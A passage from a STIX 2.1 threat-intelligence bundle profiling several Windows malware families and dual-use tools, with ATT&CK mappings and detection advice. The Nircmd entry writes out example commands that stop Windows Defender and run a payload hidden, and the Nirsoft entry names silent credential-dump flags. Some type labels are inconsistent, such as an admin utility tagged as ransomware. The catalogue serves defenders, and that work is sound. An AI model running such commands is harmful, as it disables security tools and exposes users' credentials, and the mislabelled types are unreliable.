traffic containing tracking parameters. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nieguide",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nieguide"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af16586e-27cf-5d54-9ced-1ac012cec458",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55735c35-8fe0-5fc2-8ff6-bbcb6876e711",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nieguide exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8c57972-d182-5771-9470-52a6220ace29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55735c35-8fe0-5fc2-8ff6-bbcb6876e711",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nieguide exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8790fd75-d968-5ac5-a59f-cab024a9a67e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55735c35-8fe0-5fc2-8ff6-bbcb6876e711",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nieguide exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fa255e2-f59f-5ff2-a650-6bb05bb632e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55735c35-8fe0-5fc2-8ff6-bbcb6876e711",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nieguide exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2ca2e854-76fd-572e-abd7-415136ffe744",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nilage",
      "description": "Trojan:Win32/Nilage is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nilage</b><br>To an end-user, a Nilage infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nilage is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nilage is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nilage frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nilage reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nilage",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nilage"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85be7a69-d377-5b50-90c6-f185f89b0f96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca2e854-76fd-572e-abd7-415136ffe744",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nilage exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b462dd95-f479-5c5b-8227-931dbef6f459",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca2e854-76fd-572e-abd7-415136ffe744",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nilage exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8908b66-87a5-5860-93e0-3260ca3f71ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca2e854-76fd-572e-abd7-415136ffe744",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nilage exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77a5aae0-38da-5004-93f4-2631dca5aa16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca2e854-76fd-572e-abd7-415136ffe744",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nilage exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6230d53-2262-5f83-a42d-78f6e5ffda55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca2e854-76fd-572e-abd7-415136ffe744",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nilage exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a68d6db-897b-56dc-813d-ab115839eaac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nilaspo",
      "description": "<h3>Executive Summary</h3>\nNilaspo is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNilaspo is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Nilaspo operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Nilaspo ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Nilaspo receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Nilaspo infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Nilaspo executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Nilaspo frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Nilaspo",
        "Downloader.Nilaspo",
        "Win32/Nilaspo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nilaspo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nilaspo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e07fb097-c2df-5933-b612-83b5ab7344de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a68d6db-897b-56dc-813d-ab115839eaac",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nilaspo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--222522e9-15d4-5fe0-86f8-192d0e2bba31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a68d6db-897b-56dc-813d-ab115839eaac",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nilaspo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9780e151-189d-539c-96f3-ec72310f8b79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a68d6db-897b-56dc-813d-ab115839eaac",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nilaspo exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a8bf3806-7b38-5711-9c8d-f743be2fed0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nion",
      "description": "<h3>Executive Summary</h3>\nNion is a malicious Trojan engineered to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, often leading to ransomware infections.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNion is predominantly distributed through socially engineered spear-phishing campaigns containing malicious attachments (often weaponized Microsoft Office documents utilizing malicious macros) or via compromised software installers downloaded from peer-to-peer networks.\n\nUpon successful execution, Nion operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Nion ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to `HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`) or by dropping a shortcut into the Windows Startup folder.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Nion receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials), botnet agents, or enterprise-targeting ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Nion infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Nion executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Nion often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Nion",
        "Downloader.Nion",
        "Win32/Nion"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nion",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nion"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8212927-dd26-56f4-8cf0-5514c7ad114a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8bf3806-7b38-5711-9c8d-f743be2fed0b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nion exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a68562db-cdd9-5546-b196-a5a92ae5637e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8bf3806-7b38-5711-9c8d-f743be2fed0b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nion exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a2b66c1-5df7-5358-b6a2-0dc5807ceec3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8bf3806-7b38-5711-9c8d-f743be2fed0b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nion exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad32fb4e-9731-5ad3-a3ba-4faa1b49aae9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nircmd",
      "description": "HackTool:Win32/Nircmd refers to the detection of a perfectly legitimate, highly powerful system administration utility created by NirSoft. Because NirCmd allows for deep system manipulation (editing registry keys, interacting with services, hiding windows, executing commands) directly from the command line without any GUI prompts, it is heavily weaponized by threat actors as a 'Living off the Land' (LotL) execution tool (`T1218`).<br><br><b>Understanding Nircmd (Weaponized Utilities)</b><br>To an end-user, execution is completely invisible. For a SOC analyst, detecting `nircmd.exe` on a workstation (unless specifically deployed by IT) is a major red flag. Attackers drop this tool alongside their malware to perform complex administrative tasks silently, leveraging the fact that `nircmd.exe` is often digitally signed or trusted by less-strict AV policies.<br><br><b>Execution and Evasion Mechanics</b><br>Attackers frequently rename `nircmd.exe` (e.g., to `svchost.exe` or `update.exe`) and place it in a hidden folder. They then use it in batch scripts or scheduled tasks. For example, an attacker might use `nircmd.exe exec hide payload.exe` to run a ransomware encryptor completely hidden from the user's desktop (`T1564.003`), or `nircmd.exe service stop WinDefend` to disable security services (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the command executed by NirCmd. Host-based IoCs rely heavily on EDR command-line logging. Look for the execution of a binary with the original filename of `nircmd.exe` (or matching its hash), specifically focusing on the arguments passed to it (e.g., `hide`, `service`, `regsetval`). The presence of `nircmd.exe` in temporary directories (`%Temp%`, `%AppData%`) is highly anomalous. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nircmd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nircmd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c571bd8-70c8-580d-a56d-7db645c8bee2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad32fb4e-9731-5ad3-a3ba-4faa1b49aae9",
      "target_ref": "attack-pattern--3f5e17de-d572-5288-86fa-bf1f77a4e8ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nircmd exhibits technique T1218 (System Binary Proxy Execution (Abusing a legitimate tool to execute malicious actions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b43d3ff-7bb7-549e-b137-cc695ebe3dcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad32fb4e-9731-5ad3-a3ba-4faa1b49aae9",
      "target_ref": "attack-pattern--f35fda7f-e8d3-59d6-abf0-7c086177985c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nircmd exhibits technique T1564.003 (Hide Artifacts: Hidden Window (Using NirCmd's 'exec hide' feature))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ef01a32-a377-5209-a01f-229f44e47ba1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad32fb4e-9731-5ad3-a3ba-4faa1b49aae9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nircmd exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Using NirCmd to stop security services))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a114a71d-fa64-5281-ac90-424300225b01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nirsoft",
      "description": "Riskware:Win32/Nirsoft refers to a highly popular suite of legitimate, incredibly useful, and free administrative utilities developed by Nir Sofer. However, because these tools specialize in recovering passwords (e.g., WebBrowserPassView, WirelessKeyView, MailPassView) and monitoring networks, they are flagged almost universally by enterprise security software. Threat actors heavily utilize Nirsoft utilities during the post-exploitation phase of an attack to effortlessly dump credentials stored locally on a compromised machine.<br><br><b>Understanding Nirsoft (Riskware/HackTools)</b><br>To an IT administrator, Nirsoft tools are lifesavers for recovering lost passwords for users. For a SOC analyst, the unauthorized execution of a Nirsoft password recovery tool is a glaring, 'red alert' Indicator of Compromise (IoC) signaling that an attacker is actively harvesting credentials (`T1003`) to escalate privileges or move laterally. They represent a classic 'Living off the Land' (LotL) risk.<br><br><b>Execution and Credential Harvesting Mechanics</b><br>Attackers typically drop Nirsoft utilities onto a machine after achieving initial access. They execute these small, portable executables (`T1204.002`) often via command-line arguments to silently dump the output to a text file (e.g., `/stext keys.txt`). These tools operate by decrypting the protected storage mechanisms of web browsers (Chrome, Firefox DPAPI), email clients (Outlook), and the Windows OS itself (LSA secrets, Wi-Fi profiles). The attacker then exfiltrates the resulting text file.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is immediate and severe credential compromise. Host-based IoCs include EDR alerts explicitly flagging the execution of known Nirsoft binaries (based on their distinct hashes or internal strings). Command-line logging (Event ID 4688) will often capture the execution of these tools with silent output flags (`/shtml`, `/stext`). The sudden creation of text files containing parsed credentials in `%Temp%` or `C:\\ProgramData` is a critical indicator. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nirsoft",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nirsoft"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16a95207-dcf1-595b-9977-9b3c62e1aa08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a114a71d-fa64-5281-ac90-424300225b01",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nirsoft exhibits technique T1003 (OS Credential Dumping (Extracting passwords from browsers/LSA))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e7dd839-7b95-5a9a-9fb5-980020e07f63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a114a71d-fa64-5281-ac90-424300225b01",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nirsoft exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f627d66-2aa2-5862-a2f4-1a784aeb9d84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a114a71d-fa64-5281-ac90-424300225b01",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nirsoft exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Automating the tools))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c3ed1d57-179a-59ac-a930-6f926df3b189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nisloder",
      "description": "Nisloder (cataloged under Microsoft Defender signatures as TrojanDownloader:Win32/Nisloder and Trojan:Win32/Nisloder) is a lightweight modular trojan downloader and payload delivery stager active since 2014. Engineered as an initial access execution utility, Nisloder is deployed by cybercriminal syndicates to breach endpoints and stage high-value secondary payloads including ransomware droppers, banking trojans, and credential harvesters. The malware is commonly distributed via phishing emails disguised as commercial invoices, shipping receipts, or legal documentation with malicious macro attachments, as well as deceptive software cracks hosted on third-party download portals. Once executed, Nisloder deploys anti-analysis checks, dynamically unpacking its core shellcode into memory before injecting into native Windows system processes (such as svchost.exe or explorer.exe). It achieves persistence by registering hidden Windows Scheduled Tasks and autostart registry run entries, periodically issuing encrypted HTTP GET requests to operator-controlled command-and-control servers to download, decrypt, and launch secondary malicious modules. (Observed samples in benchmark: 103)",
      "is_family": true,
      "malware_types": [
        "downloader",
        "dropper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Nisloder",
        "Trojan:Win32/Nisloder",
        "Nisloder Loader",
        "Win32/Nisloder"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nisloder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nisloder"
        }
      ],
      "labels": [
        "loader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26326762-3cff-5101-a31a-014212e6ff05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3ed1d57-179a-59ac-a930-6f926df3b189",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nisloder exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14494a4b-c2b0-5d2a-aa1e-e95a5ffcfc45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3ed1d57-179a-59ac-a930-6f926df3b189",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nisloder exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55e12299-5c18-5495-a8d8-8ae0d42c559b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3ed1d57-179a-59ac-a930-6f926df3b189",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nisloder exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2636ce8e-06ce-5b33-b2d9-861941b25ef3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3ed1d57-179a-59ac-a930-6f926df3b189",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nisloder exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--329f126b-f897-5bf5-af27-5ba5c66edb36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3ed1d57-179a-59ac-a930-6f926df3b189",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nisloder exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22c43a41-90e9-55d3-8605-3bb49e4c1fb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3ed1d57-179a-59ac-a930-6f926df3b189",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nisloder exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a4bb2e7-3ad3-5ee6-925b-25b0b61d4f27",
